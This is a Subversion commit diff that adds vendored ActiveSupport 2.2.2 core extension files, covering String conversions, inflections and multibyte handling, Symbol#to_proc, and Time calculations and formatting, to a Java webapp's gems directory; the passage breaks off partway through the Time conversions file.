+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/conversions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,28 @@
+require 'date'
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module String #:nodoc:
+      # Converting strings to other objects
+      module Conversions
+        # 'a'.ord == 'a'[0] for Ruby 1.9 forward compatibility.
+        def ord
+          self[0]
+        end if RUBY_VERSION < '1.9'
+
+        # Form can be either :utc (default) or :local.
+        def to_time(form = :utc)
+          ::Time.send("#{form}_time", *::Date._parse(self, false).values_at(:year, :mon, :mday, :hour, :min, :sec).map { |arg| arg || 0 })
+        end
+
+        def to_date
+          ::Date.new(*::Date._parse(self, false).values_at(:year, :mon, :mday))
+        end
+
+        def to_datetime
+          ::DateTime.civil(*::Date._parse(self, false).values_at(:year, :mon, :mday, :hour, :min, :sec).map { |arg| arg || 0 })
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/filters.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/filters.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/filters.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,26 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module String #:nodoc:
+      module Filters
+        # Returns the string, first removing all whitespace on both ends of
+        # the string, and then changing remaining consecutive whitespace
+        # groups into one space each.
+        #
+        # Examples:
+        #   %{ Multi-line
+        #      string }.squish                   # => "Multi-line string"
+        #   " foo   bar    \n   \t   boo".squish # => "foo bar boo"
+        def squish
+          dup.squish!
+        end
+
+        # Performs a destructive squish. See String#squish.
+        def squish!
+          strip!
+          gsub!(/\s+/, ' ')
+          self
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/inflections.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/inflections.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/inflections.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,167 @@
+require 'active_support/inflector'
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module String #:nodoc:
+      # String inflections define new methods on the String class to transform names for different purposes.
+      # For instance, you can figure out the name of a database from the name of a class.
+      #
+      #   "ScaleScore".tableize # => "scale_scores"
+      module Inflections
+        # Returns the plural form of the word in the string.
+        #
+        #   "post".pluralize             # => "posts"
+        #   "octopus".pluralize          # => "octopi"
+        #   "sheep".pluralize            # => "sheep"
+        #   "words".pluralize            # => "words"
+        #   "the blue mailman".pluralize # => "the blue mailmen"
+        #   "CamelOctopus".pluralize     # => "CamelOctopi"
+        def pluralize
+          Inflector.pluralize(self)
+        end
+
+        # The reverse of +pluralize+, returns the singular form of a word in a string.
+        #
+        #   "posts".singularize            # => "post"
+        #   "octopi".singularize           # => "octopus"
+        #   "sheep".singularize            # => "sheep"
+        #   "word".singularize             # => "word"
+        #   "the blue mailmen".singularize # => "the blue mailman"
+        #   "CamelOctopi".singularize      # => "CamelOctopus"
+        def singularize
+          Inflector.singularize(self)
+        end
+
+        # By default, +camelize+ converts strings to UpperCamelCase. If the argument to camelize
+        # is set to <tt>:lower</tt> then camelize produces lowerCamelCase.
+        #
+        # +camelize+ will also convert '/' to '::' which is useful for converting paths to namespaces.
+        #
+        #   "active_record".camelize                # => "ActiveRecord"
+        #   "active_record".camelize(:lower)        # => "activeRecord"
+        #   "active_record/errors".camelize         # => "ActiveRecord::Errors"
+        #   "active_record/errors".camelize(:lower) # => "activeRecord::Errors"
+        def camelize(first_letter = :upper)
+          case first_letter
+            when :upper then Inflector.camelize(self, true)
+            when :lower then Inflector.camelize(self, false)
+          end
+        end
+        alias_method :camelcase, :camelize
+
+        # Capitalizes all the words and replaces some characters in the string to create
+        # a nicer looking title. +titleize+ is meant for creating pretty output. It is not
+        # used in the Rails internals.
+        #
+        # +titleize+ is also aliased as +titlecase+.
+        #
+        #   "man from the boondocks".titleize # => "Man From The Boondocks"
+        #   "x-men: the last stand".titleize  # => "X Men: The Last Stand"
+        def titleize
+          Inflector.titleize(self)
+        end
+        alias_method :titlecase, :titleize
+
+        # The reverse of +camelize+. Makes an underscored, lowercase form from the expression in the string.
+        # 
+        # +underscore+ will also change '::' to '/' to convert namespaces to paths.
+        #
+        #   "ActiveRecord".underscore         # => "active_record"
+        #   "ActiveRecord::Errors".underscore # => active_record/errors
+        def underscore
+          Inflector.underscore(self)
+        end
+
+        # Replaces underscores with dashes in the string.
+        #
+        #   "puni_puni" # => "puni-puni"
+        def dasherize
+          Inflector.dasherize(self)
+        end
+
+        # Removes the module part from the constant expression in the string.
+        #
+        #   "ActiveRecord::CoreExtensions::String::Inflections".demodulize # => "Inflections"
+        #   "Inflections".demodulize                                       # => "Inflections"
+        def demodulize
+          Inflector.demodulize(self)
+        end
+
+        # Replaces special characters in a string so that it may be used as part of a 'pretty' URL.
+        # 
+        # ==== Examples
+        #
+        #   class Person
+        #     def to_param
+        #       "#{id}-#{name.parameterize}"
+        #     end
+        #   end
+        # 
+        #   @person = Person.find(1)
+        #   # => #<Person id: 1, name: "Donald E. Knuth">
+        # 
+        #   <%= link_to(@person.name, person_path %>
+        #   # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
+        def parameterize
+          Inflector.parameterize(self)
+        end
+
+        # Creates the name of a table like Rails does for models to table names. This method
+        # uses the +pluralize+ method on the last word in the string.
+        #
+        #   "RawScaledScorer".tableize # => "raw_scaled_scorers"
+        #   "egg_and_ham".tableize     # => "egg_and_hams"
+        #   "fancyCategory".tableize   # => "fancy_categories"
+        def tableize
+          Inflector.tableize(self)
+        end
+
+        # Create a class name from a plural table name like Rails does for table names to models.
+        # Note that this returns a string and not a class. (To convert to an actual class
+        # follow +classify+ with +constantize+.)
+        #
+        #   "egg_and_hams".classify # => "EggAndHam"
+        #   "posts".classify        # => "Post"
+        #
+        # Singular names are not handled correctly.
+        #
+        #   "business".classify # => "Busines"
+        def classify
+          Inflector.classify(self)
+        end
+        
+        # Capitalizes the first word, turns underscores into spaces, and strips '_id'.
+        # Like +titleize+, this is meant for creating pretty output.
+        #
+        #   "employee_salary" # => "Employee salary" 
+        #   "author_id"       # => "Author"
+        def humanize
+          Inflector.humanize(self)
+        end
+
+        # Creates a foreign key name from a class name.
+        # +separate_class_name_and_id_with_underscore+ sets whether
+        # the method should put '_' between the name and 'id'.
+        #
+        # Examples
+        #   "Message".foreign_key        # => "message_id"
+        #   "Message".foreign_key(false) # => "messageid"
+        #   "Admin::Post".foreign_key    # => "post_id"
+        def foreign_key(separate_class_name_and_id_with_underscore = true)
+          Inflector.foreign_key(self, separate_class_name_and_id_with_underscore)
+        end
+
+        # +constantize+ tries to find a declared constant with the name specified
+        # in the string. It raises a NameError when the name is not in CamelCase
+        # or is not initialized.
+        #
+        # Examples
+        #   "Module".constantize # => Module
+        #   "Class".constantize  # => Class
+        def constantize
+          Inflector.constantize(self)
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/iterators.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/iterators.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/iterators.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+require 'strscan'
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module String #:nodoc:
+      # Custom string iterators
+      module Iterators
+        def self.append_features(base)
+          super unless '1.9'.respond_to?(:each_char)
+        end
+
+        # Yields a single-character string for each character in the string.
+        # When $KCODE = 'UTF8', multi-byte characters are yielded appropriately.
+        def each_char
+          scanner, char = StringScanner.new(self), /./mu
+          loop { yield(scanner.scan(char) || break) }
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/multibyte.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/multibyte.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/multibyte.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,81 @@
+# encoding: utf-8
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module String #:nodoc:
+      # Implements multibyte methods for easier access to multibyte characters in a String instance.
+      module Multibyte
+        unless '1.9'.respond_to?(:force_encoding)
+          # == Multibyte proxy
+          #
+          # +mb_chars+ is a multibyte safe proxy for string methods.
+          #
+          # In Ruby 1.8 and older it creates and returns an instance of the ActiveSupport::Multibyte::Chars class which
+          # encapsulates the original string. A Unicode safe version of all the String methods are defined on this proxy
+          # class. If the proxy class doesn't respond to a certain method, it's forwarded to the encapsuled string.
+          #
+          #   name = 'Claus Müller'
+          #   name.reverse  #=> "rell??M sualC"
+          #   name.length   #=> 13
+          #
+          #   name.mb_chars.reverse.to_s   #=> "rellüM sualC"
+          #   name.mb_chars.length         #=> 12
+          #
+          # In Ruby 1.9 and newer +mb_chars+ returns +self+ because String is (mostly) encoding aware. This means that
+          # it becomes easy to run one version of your code on multiple Ruby versions.
+          #
+          # == Method chaining
+          #
+          # All the methods on the Chars proxy which normally return a string will return a Chars object. This allows
+          # method chaining on the result of any of these methods.
+          #
+          #   name.mb_chars.reverse.length #=> 12
+          #
+          # == Interoperability and configuration
+          #
+          # The Chars object tries to be as interchangeable with String objects as possible: sorting and comparing between
+          # String and Char work like expected. The bang! methods change the internal string representation in the Chars
+          # object. Interoperability problems can be resolved easily with a +to_s+ call.
+          #
+          # For more information about the methods defined on the Chars proxy see ActiveSupport::Multibyte::Chars. For
+          # information about how to change the default Multibyte behaviour see ActiveSupport::Multibyte.
+          def mb_chars
+            if ActiveSupport::Multibyte.proxy_class.wants?(self)
+              ActiveSupport::Multibyte.proxy_class.new(self)
+            else
+              self
+            end
+          end
+          
+          # Returns true if the string has UTF-8 semantics (a String used for purely byte resources is unlikely to have
+          # them), returns false otherwise.
+          def is_utf8?
+            ActiveSupport::Multibyte::Chars.consumes?(self)
+          end
+
+          unless '1.8.7 and later'.respond_to?(:chars)
+            def chars
+              ActiveSupport::Deprecation.warn('String#chars has been deprecated in favor of String#mb_chars.', caller)
+              mb_chars
+            end
+          end
+        else
+          def mb_chars #:nodoc
+            self
+          end
+          
+          def is_utf8? #:nodoc
+            case encoding
+            when Encoding::UTF_8
+              valid_encoding?
+            when Encoding::ASCII_8BIT, Encoding::US_ASCII
+              dup.force_encoding(Encoding::UTF_8).valid_encoding?
+            else
+              false
+            end
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/starts_ends_with.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/starts_ends_with.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/starts_ends_with.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module String #:nodoc:
+      # Additional string tests.
+      module StartsEndsWith
+        def self.append_features(base)
+          if '1.8.7 and up'.respond_to?(:start_with?)
+            base.class_eval do
+              alias_method :starts_with?, :start_with?
+              alias_method :ends_with?, :end_with?
+            end
+          else
+            super
+            base.class_eval do
+              alias_method :start_with?, :starts_with?
+              alias_method :end_with?, :ends_with?
+            end
+          end
+        end
+
+        # Does the string start with the specified +prefix+?
+        def starts_with?(prefix)
+          prefix = prefix.to_s
+          self[0, prefix.length] == prefix
+        end
+
+        # Does the string end with the specified +suffix+?
+        def ends_with?(suffix)
+          suffix = suffix.to_s
+          self[-suffix.length, suffix.length] == suffix      
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/xchar.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/xchar.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/xchar.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+begin
+  # See http://bogomips.org/fast_xs/ by Eric Wong
+  require 'fast_xs'
+
+  class String
+    alias_method :original_xs, :to_xs if method_defined?(:to_xs)
+    alias_method :to_xs, :fast_xs
+  end
+rescue LoadError
+  # fast_xs extension unavailable.
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+# encoding: utf-8
+
+require 'active_support/core_ext/string/inflections'
+require 'active_support/core_ext/string/conversions'
+require 'active_support/core_ext/string/access'
+require 'active_support/core_ext/string/starts_ends_with'
+require 'active_support/core_ext/string/iterators'
+require 'active_support/core_ext/string/multibyte'
+require 'active_support/core_ext/string/xchar'
+require 'active_support/core_ext/string/filters'
+require 'active_support/core_ext/string/behavior'
+
+class String #:nodoc:
+  include ActiveSupport::CoreExtensions::String::Access
+  include ActiveSupport::CoreExtensions::String::Conversions
+  include ActiveSupport::CoreExtensions::String::Filters
+  include ActiveSupport::CoreExtensions::String::Inflections
+  include ActiveSupport::CoreExtensions::String::StartsEndsWith
+  include ActiveSupport::CoreExtensions::String::Iterators
+  include ActiveSupport::CoreExtensions::String::Behavior
+  include ActiveSupport::CoreExtensions::String::Multibyte
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/symbol.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/symbol.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/symbol.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+unless :to_proc.respond_to?(:to_proc)
+  class Symbol
+    # Turns the symbol into a simple proc, which is especially useful for enumerations. Examples:
+    #
+    #   # The same as people.collect { |p| p.name }
+    #   people.collect(&:name)
+    #
+    #   # The same as people.select { |p| p.manager? }.collect { |p| p.salary }
+    #   people.select(&:manager?).collect(&:salary)
+    def to_proc
+      Proc.new { |*args| args.shift.__send__(self, *args) }
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time/behavior.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time/behavior.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time/behavior.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Time #:nodoc:
+      module Behavior
+        # Enable more predictable duck-typing on Time-like classes. See
+        # Object#acts_like?.
+        def acts_like_time?
+          true
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time/calculations.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time/calculations.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time/calculations.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,303 @@
+require 'active_support/duration'
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Time #:nodoc:
+      # Enables the use of time calculations within Time itself
+      module Calculations
+        def self.included(base) #:nodoc:
+          base.extend ClassMethods
+
+          base.class_eval do
+            alias_method :plus_without_duration, :+
+            alias_method :+, :plus_with_duration
+
+            alias_method :minus_without_duration, :-
+            alias_method :-, :minus_with_duration
+
+            alias_method :minus_without_coercion, :-
+            alias_method :-, :minus_with_coercion
+
+            alias_method :compare_without_coercion, :<=>
+            alias_method :<=>, :compare_with_coercion
+          end
+        end
+
+        COMMON_YEAR_DAYS_IN_MONTH = [nil, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]
+
+        module ClassMethods
+          # Overriding case equality method so that it returns true for ActiveSupport::TimeWithZone instances
+          def ===(other)
+            other.is_a?(::Time)
+          end
+
+          # Return the number of days in the given month.
+          # If no year is specified, it will use the current year.
+          def days_in_month(month, year = now.year)
+            return 29 if month == 2 && ::Date.gregorian_leap?(year)
+            COMMON_YEAR_DAYS_IN_MONTH[month]
+          end
+
+          # Returns a new Time if requested year can be accommodated by Ruby's Time class
+          # (i.e., if year is within either 1970..2038 or 1902..2038, depending on system architecture);
+          # otherwise returns a DateTime
+          def time_with_datetime_fallback(utc_or_local, year, month=1, day=1, hour=0, min=0, sec=0, usec=0)
+            ::Time.send(utc_or_local, year, month, day, hour, min, sec, usec)
+          rescue
+            offset = utc_or_local.to_sym == :local ? ::DateTime.local_offset : 0
+            ::DateTime.civil(year, month, day, hour, min, sec, offset)
+          end
+
+          # Wraps class method +time_with_datetime_fallback+ with +utc_or_local+ set to <tt>:utc</tt>.
+          def utc_time(*args)
+            time_with_datetime_fallback(:utc, *args)
+          end
+
+          # Wraps class method +time_with_datetime_fallback+ with +utc_or_local+ set to <tt>:local</tt>.
+          def local_time(*args)
+            time_with_datetime_fallback(:local, *args)
+          end
+        end
+
+        # Tells whether the Time object's time lies in the past
+        def past?
+          self < ::Time.current
+        end
+
+        # Tells whether the Time object's time is today
+        def today?
+          self.to_date == ::Date.current
+        end
+
+        # Tells whether the Time object's time lies in the future
+        def future?
+          self > ::Time.current
+        end
+
+        # Seconds since midnight: Time.now.seconds_since_midnight
+        def seconds_since_midnight
+          self.to_i - self.change(:hour => 0).to_i + (self.usec/1.0e+6)
+        end
+
+        # Returns a new Time where one or more of the elements have been changed according to the +options+ parameter. The time options
+        # (hour, minute, sec, usec) reset cascadingly, so if only the hour is passed, then minute, sec, and usec is set to 0. If the hour and
+        # minute is passed, then sec and usec is set to 0.
+        def change(options)
+          ::Time.send(
+            self.utc? ? :utc_time : :local_time,
+            options[:year]  || self.year,
+            options[:month] || self.month,
+            options[:day]   || self.day,
+            options[:hour]  || self.hour,
+            options[:min]   || (options[:hour] ? 0 : self.min),
+            options[:sec]   || ((options[:hour] || options[:min]) ? 0 : self.sec),
+            options[:usec]  || ((options[:hour] || options[:min] || options[:sec]) ? 0 : self.usec)
+          )
+        end
+
+        # Uses Date to provide precise Time calculations for years, months, and days.
+        # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
+        # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
+        # <tt>:minutes</tt>, <tt>:seconds</tt>.
+        def advance(options)
+          unless options[:weeks].nil?
+            options[:weeks], partial_weeks = options[:weeks].divmod(1)
+            options[:days] = (options[:days] || 0) + 7 * partial_weeks
+          end
+          
+          unless options[:days].nil?
+            options[:days], partial_days = options[:days].divmod(1)
+            options[:hours] = (options[:hours] || 0) + 24 * partial_days
+          end
+          
+          d = to_date.advance(options)
+          time_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
+          seconds_to_advance = (options[:seconds] || 0) + (options[:minutes] || 0) * 60 + (options[:hours] || 0) * 3600
+          seconds_to_advance == 0 ? time_advanced_by_date : time_advanced_by_date.since(seconds_to_advance)
+        end
+
+        # Returns a new Time representing the time a number of seconds ago, this is basically a wrapper around the Numeric extension
+        def ago(seconds)
+          self.since(-seconds)
+        end
+
+        # Returns a new Time representing the time a number of seconds since the instance time, this is basically a wrapper around
+        # the Numeric extension.
+        def since(seconds)
+          f = seconds.since(self)
+          if ActiveSupport::Duration === seconds
+            f
+          else
+            initial_dst = self.dst? ? 1 : 0
+            final_dst   = f.dst? ? 1 : 0
+            (seconds.abs >= 86400 && initial_dst != final_dst) ? f + (initial_dst - final_dst).hours : f
+          end
+        rescue
+          self.to_datetime.since(seconds)
+        end
+        alias :in :since
+
+        # Returns a new Time representing the time a number of specified months ago
+        def months_ago(months)
+          advance(:months => -months)
+        end
+
+        # Returns a new Time representing the time a number of specified months in the future
+        def months_since(months)
+          advance(:months => months)
+        end
+
+        # Returns a new Time representing the time a number of specified years ago
+        def years_ago(years)
+          advance(:years => -years)
+        end
+
+        # Returns a new Time representing the time a number of specified years in the future
+        def years_since(years)
+          advance(:years => years)
+        end
+
+        # Short-hand for years_ago(1)
+        def last_year
+          years_ago(1)
+        end
+
+        # Short-hand for years_since(1)
+        def next_year
+          years_since(1)
+        end
+
+
+        # Short-hand for months_ago(1)
+        def last_month
+          months_ago(1)
+        end
+
+        # Short-hand for months_since(1)
+        def next_month
+          months_since(1)
+        end
+
+        # Returns a new Time representing the "start" of this week (Monday, 0:00)
+        def beginning_of_week
+          days_to_monday = self.wday!=0 ? self.wday-1 : 6
+          (self - days_to_monday.days).midnight
+        end
+        alias :monday :beginning_of_week
+        alias :at_beginning_of_week :beginning_of_week
+
+        # Returns a new Time representing the end of this week (Sunday, 23:59:59)
+        def end_of_week
+          days_to_sunday = self.wday!=0 ? 7-self.wday : 0
+          (self + days_to_sunday.days).end_of_day
+        end
+        alias :at_end_of_week :end_of_week
+
+        # Returns a new Time representing the start of the given day in next week (default is Monday).
+        def next_week(day = :monday)
+          days_into_week = { :monday => 0, :tuesday => 1, :wednesday => 2, :thursday => 3, :friday => 4, :saturday => 5, :sunday => 6}
+          since(1.week).beginning_of_week.since(days_into_week[day].day).change(:hour => 0)
+        end
+
+        # Returns a new Time representing the start of the day (0:00)
+        def beginning_of_day
+          (self - self.seconds_since_midnight).change(:usec => 0)
+        end
+        alias :midnight :beginning_of_day
+        alias :at_midnight :beginning_of_day
+        alias :at_beginning_of_day :beginning_of_day
+
+        # Returns a new Time representing the end of the day (23:59:59)
+        def end_of_day
+          change(:hour => 23, :min => 59, :sec => 59)
+        end
+
+        # Returns a new Time representing the start of the month (1st of the month, 0:00)
+        def beginning_of_month
+          #self - ((self.mday-1).days + self.seconds_since_midnight)
+          change(:day => 1,:hour => 0, :min => 0, :sec => 0, :usec => 0)
+        end
+        alias :at_beginning_of_month :beginning_of_month
+
+        # Returns a new Time representing the end of the month (last day of the month, 0:00)
+        def end_of_month
+          #self - ((self.mday-1).days + self.seconds_since_midnight)
+          last_day = ::Time.days_in_month( self.month, self.year )
+          change(:day => last_day, :hour => 23, :min => 59, :sec => 59, :usec => 0)
+        end
+        alias :at_end_of_month :end_of_month
+
+        # Returns  a new Time representing the start of the quarter (1st of january, april, july, october, 0:00)
+        def beginning_of_quarter
+          beginning_of_month.change(:month => [10, 7, 4, 1].detect { |m| m <= self.month })
+        end
+        alias :at_beginning_of_quarter :beginning_of_quarter
+
+        # Returns a new Time representing the end of the quarter (last day of march, june, september, december, 23:59:59)
+        def end_of_quarter
+          beginning_of_month.change(:month => [3, 6, 9, 12].detect { |m| m >= self.month }).end_of_month
+        end
+        alias :at_end_of_quarter :end_of_quarter
+
+        # Returns  a new Time representing the start of the year (1st of january, 0:00)
+        def beginning_of_year
+          change(:month => 1,:day => 1,:hour => 0, :min => 0, :sec => 0, :usec => 0)
+        end
+        alias :at_beginning_of_year :beginning_of_year
+
+        # Returns a new Time representing the end of the year (31st of december, 23:59:59)
+        def end_of_year
+          change(:month => 12,:day => 31,:hour => 23, :min => 59, :sec => 59)
+        end
+        alias :at_end_of_year :end_of_year
+
+        # Convenience method which returns a new Time representing the time 1 day ago
+        def yesterday
+          advance(:days => -1)
+        end
+
+        # Convenience method which returns a new Time representing the time 1 day since the instance time
+        def tomorrow
+          advance(:days => 1)
+        end
+
+        def plus_with_duration(other) #:nodoc:
+          if ActiveSupport::Duration === other
+            other.since(self)
+          else
+            plus_without_duration(other)
+          end
+        end
+
+        def minus_with_duration(other) #:nodoc:
+          if ActiveSupport::Duration === other
+            other.until(self)
+          else
+            minus_without_duration(other)
+          end
+        end
+
+        # Time#- can also be used to determine the number of seconds between two Time instances.
+        # We're layering on additional behavior so that ActiveSupport::TimeWithZone instances
+        # are coerced into values that Time#- will recognize
+        def minus_with_coercion(other)
+          other = other.comparable_time if other.respond_to?(:comparable_time)
+          minus_without_coercion(other)
+        end
+
+        # Layers additional behavior on Time#<=> so that DateTime and ActiveSupport::TimeWithZone instances
+        # can be chronologically compared with a Time
+        def compare_with_coercion(other)
+          # if other is an ActiveSupport::TimeWithZone, coerce a Time instance from it so we can do <=> comparison
+          other = other.comparable_time if other.respond_to?(:comparable_time)
+          if other.acts_like?(:date)
+            # other is a Date/DateTime, so coerce self #to_datetime and hand off to DateTime#<=>
+            to_datetime.compare_without_coercion(other)
+          else
+            compare_without_coercion(other)
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time/conversions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time/conversions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time/conversions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,90 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Time #:nodoc:
+      # Converting times to formatted strings, dates, and datetimes.
+      module Conversions
+        DATE_FORMATS = {
+          :db           => "%Y-%m-%d %H:%M:%S",
+          :number       => "%Y%m%d%H%M%S",
+          :time         => "%H:%M",
+          :short        => "%d %b %H:%M",
+          :long         => "%B %d, %Y %H:%M",
+          :long_ordinal => lambda { |time| time.strftime("%B #{time.day.ordinalize}, %Y %H:%M") },
+          :rfc822       => "%a, %d %b %Y %H:%M:%S %z"
+        }
+
+        def self.included(base) #:nodoc:
+          base.class_eval do
+            alias_method :to_default_s, :to_s
+            alias_method :to_s, :to_formatted_s
+          end
+        end
+
+        # Converts to a formatted string. See DATE_FORMATS for builtin formats.
+        #
+        # This method is aliased to <tt>to_s</tt>.
+        #
+        #   time = Time.now                     # => Thu Jan 18 06:10:17 CST 2007
+        #
+        #   time.to_formatted_s(:time)          # => "06:10:17"
+        #   time.to_s(:time)                    # => "06:10:17"
+        #
+        #   time.to_formatted_s(:db)            # => "2007-01-18 06:10:17"
+        #   time.to_formatted_s(:number)        # => "20070118061017"
+        #   time.to_formatted_s(:short)         # => "18 Jan 06:10"
+        #   time.to_formatted_s(:long)          # => "January 18, 2007 06:10"
+        #   time.to_formatted_s(:long_ordinal)  # => "January 18th, 2007 06:10"
+        #   time.to_formatted_s(:rfc822)        # => "Thu, 18 Jan 2007 06:10:17 -0600"
+        #
+        # == Adding your own time formats to +to_formatted_s+
+        # You can add your own formats to the Time::DATE_FORMATS hash.
+        # Use the format name as the hash key and either a strftime string
+        # or Proc instance that takes a time argument as the value.
+        #
+        #   # config/initializers/time_formats.rb
+        #   Time::DATE_FORMATS[:month_and_year] = "%B %Y"
+        #   Time::DATE_FORMATS[:short_ordinal] = lambda { |time| time.strftime("%B #{time.day.ordinalize}") }
+        def to_formatted_s(format = :default)
+          return to_default_s unless formatter = DATE_FORMATS[format]
+          formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
+        end
+        
+        # Returns the UTC offset as an +HH:MM formatted string.
+        #
+        #   Time.local(2000).formatted_offset         # => "-06:00"
+        #   Time.local(2000).formatted_offset(false)  # => "-0600"
+        def formatted_offset(colon = true, alternate_utc_string = nil)
+          utc? && alternate_utc_string || utc_offset.to_utc_offset_s(colon)
+        end
+
+        # Converts a Time object to a Date, dropping hour, minute, and second precision.
+        #
+        #   my_time = Time.now  # => Mon Nov 12 22:59:51 -0500 2007
+        #   my_time.to_date     # => Mon, 12 Nov 2007
+        #
+        #   your_time = Time.parse("1/13/2009 1:13:03 P.M.")  # => Tue Jan 13 13:13:03 -0500 2009
+        #   your_time.to_date                                 # => Tue, 13 Jan 2009
+        def to_date
+          ::Date.new(year, month, day)
+        end
+
+        # A method to keep Time, Date and DateTime instances interchangeable on conversions.
+        # In this case, it simply returns +self+.
+        def to_time
+          self
+        end
+
+        # Converts a Time instance to a Ruby DateTime instance, preserving UTC offset.
+        #
+        #   my_time = Time.now    # => Mon Nov 12 23:04:21 -0500 2007
